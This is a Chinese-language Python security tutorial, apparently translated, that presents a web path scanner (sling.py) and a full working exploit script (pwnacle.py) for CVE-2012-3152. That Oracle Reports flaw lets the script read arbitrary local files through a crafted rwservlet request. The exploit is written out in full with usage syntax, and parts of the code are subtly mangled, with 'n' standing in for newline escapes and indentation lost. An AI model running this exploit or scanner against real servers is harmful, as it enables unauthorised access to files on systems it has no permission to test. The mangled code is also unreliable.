本教程将演示如何利用Python构建基本Web扫描程序,以及如何编写Web应用程序的简单漏洞利用程序。通常,在扫描和利用工具检查漏洞之前,可以发布利用概念验证(PoC)代码。在这种情况下,启动自己的工具以检查整个企业中的漏洞是有益的。
在部分0x5的,我们展示了如何做一个基本的Web请求。本教程将演示两个用于利用Python的高级用例:
网络扫描:
这个快速python脚本将接受从带有交换机“-i”的文件中提取的URL列表,从带有交换机“-r”的文件中提取的请求列表,以及在CLI中指定的可选搜索字符串切换“-s”:
$ python sling.py -h
Usage: sling.py -i <file_with URLs> -r -s [optional]
Options:
-h, --help show this help message and exit
-i SERVERS specify target file with URLs
-r RESOURCES specify a file with resources to request
-s SEARCH [optional] Specify a search string -s
文件的格式应如下所示 - 每行包含URL“http://www.google.com/”的文件,以及每行请求“request /”的文件。示例: reqs: CFIDE / admin / tmp /
以下是在没有搜索词的情况下调用脚本的示例:
$ python sling.py -i URLs -r reqs
[+] URL: http://www.google.com/CFIDE/ [404]
[+] URL: http://www.google.com/admin/ [404]
[+] URL: http://www.google.com/tmp/ [404]
[+] URL: http://www.yahoo.com/CFIDE/ [404]
[+] URL: http://www.facebook.com/CFIDE/ [404]
[+] URL: http://www.facebook.com/admin/ [404]
[+] URL: http://www.facebook.com/tmp/ [404]
现在,在发出这些请求时,您可能需要定义搜索词以减少必须经历的误报量。例如,如果您要请求“/ CFIDE/administrator/enter.cfm”,您可能需要检查页面上是否有“CFIDE”或“.cfm”以帮助减少误报。以下是将脚本与搜索词一起使用的示例:
$ python sling.py -i URLs -r reqs -s google
[+] URL: http://www.google.com/CFIDE/ [404] Found: 'google' in ouput
[+] URL: http://www.google.com/admin/ [404] Found: 'google' in ouput
[+] URL: http://www.google.com/tmp/ [404] Found: 'google' in ouput
正如您所看到的,只有包含字符串'google'的请求才会显示给STDOUT。这是一个功能强大的Python可以制作快速检查脚本以查找各种Web资源的示例。您可以更进一步,搜索版本号并输出易受攻击的Web服务器版本。完整的脚本可以在博客文章的末尾找到。
自动化Web应用程序攻击:
几个月前,安全研究员NI @root发布了Oracle Reports中本地文件包含(LFI)漏洞的漏洞利用详情。当时只存在PoC代码,漏洞和漏洞检查不在任何工具中。这是一个完美的用例,用于启动快速脚本以检查某些Oracle Reports Web服务器。该漏洞允许您通过发送以下请求获取Web服务器上的本地资源 - 您可以在“file:///”之后指定您感兴趣的文件或目录:
request = '/reports/rwservlet?report=test.rdf+desformat=html+destype=cache+JOBTYPE=rwurl+URLPARAMETER="file:///'
下面是一个快速Python脚本,可以使用以下语法调用:
$ python pwnacle.py <server> <resource>
pwnacle.py:
#######################################
# pwnacle.py - Exploits CVE-2012-3152 #
# Oracle Local File Inclusion (LFI) #
#######################################
import urllib, sys, ssl, inspect
exec inspect.getsource(ssl.wrap_socket).replace("PROTOCOL_SSLv23","PROTOCOL_SSLv3") in dict(inspect.getmembers(ssl.wrap_socket))["func_globals"]
import socket
server = sys.argv[1] # Assigns first argument given at the CLI to 'server' variable
dir = sys.argv[2] # Assigns second argument given at the CLI to 'dir' variable
ip = server.split('/')[2] # formats the server by splitting the string based on the '/' which grabs the IP out of 'http://ip/'
req = '/reports/rwservlet?report=test.rdf+desformat=html+destype=cache+JOBTYPE=rwurl+URLPARAMETER="file:///' #request format to exploit the vulnerability
print "Sending Request: "+server+req+dir+'"'
if 'http://' in server: # Use urllib module for http -- self signed SSL certs caused an exception with urllib
try:
conn = urllib.urlopen(server+req+dir+'"') # Sent the request to the server
out = conn.readlines()
for item in conn:
print item.strip()
except Exception as e:
print e
if 'https://' in server: # Create web request with ssl module
try:
conn = ssl.wrap_socket(socket.create_connection((ip, 443)))
request = 'GET '+req+dir+'"'+' HTTP/1.1'+'n'
request += 'Host: '+ip+'n'
request += 'User-Agent: Mozilla/5.0 '+'n'
request += 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'+'n'
request += 'Accept-Language: en-US,en;q=0.5'+'n'
request += 'Accept-Encoding: gzip, deflate'+'n'
request += 'Connection: keep-alive'+'n'
conn.send(request+'n')
print conn.recv()
print conn.recv(20098)
except Exception as e:
print e
Sling.py:
#####################################
# sling.py - checks for resources #
# Can seach for string in response #
#####################################
from bs4 import BeautifulSoup
import sys, optparse, socket
from urllib import urlopen
class Colors:
RED = '\033[91m'
GREEN = '\033[92m'
def webreq(server, resources): # Function takes in URL, and resources variable which contains the requests
try:
resource = []
for item in open(resources, 'r'): # Loop through the resource file
resource.append(item.strip()) # Append each item in the file to the array
for item in resource: # Loop through the array and create a request for each item in the array
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5) # set a timeout on the socket connection
url = server.strip()+item.strip() # Format the url variable to store the request: "http://www.site.com/CFIDE/administrator/enter.cfm"
request = urlopen(url) # Make the request
if search: # If the "search" variable is true (-s)
parsed = BeautifulSoup(request.read(), "lxml") # Parse the output with BeautifulSoup
if search in str(parsed): # If the search string is in the output print the next line
print Colors.GREEN+"[+] URL: "+url+" ["+str(request.getcode())+"] Found: '"+search+"' in ouput"
elif request.getcode() == 404: # If we got an HTTP status code
print Colors.RED+"[+] URL: "+url+" ["+str(request.getcode())+"]" # Print the URL and status code
elif request.getcode():
print Colors.GREEN+"[+] URL: "+url+" ["+str(request.getcode())+"]"
except:pass
def main():
# Creates CLI switches and stores in variables
parser = optparse.OptionParser(sys.argv[0]+' '+
'-i <file_with URLs> -r -s [optional]')
parser.add_option('-i', dest='servers', type='string', help='specify target file with URLs')
parser.add_option('-r', dest='resources', type='string', help='specify a file with resources to request')
parser.add_option('-s', dest='search', type='string', help='[optional] Specify a search string -s ')
(options, args) = parser.parse_args()
servers=options.servers
resources=options.resources
global search; search=options.search
if (servers == None) and (resources==None): # Checks to make sure proper CLI switches were given
print parser.usage # if not print usage
sys.exit(0)
if servers:
for server in open(servers, 'r'): # loop through each URL in the file
webreq(server, resources) # Invoke the webreq function
if __name__ == "__main__":
main()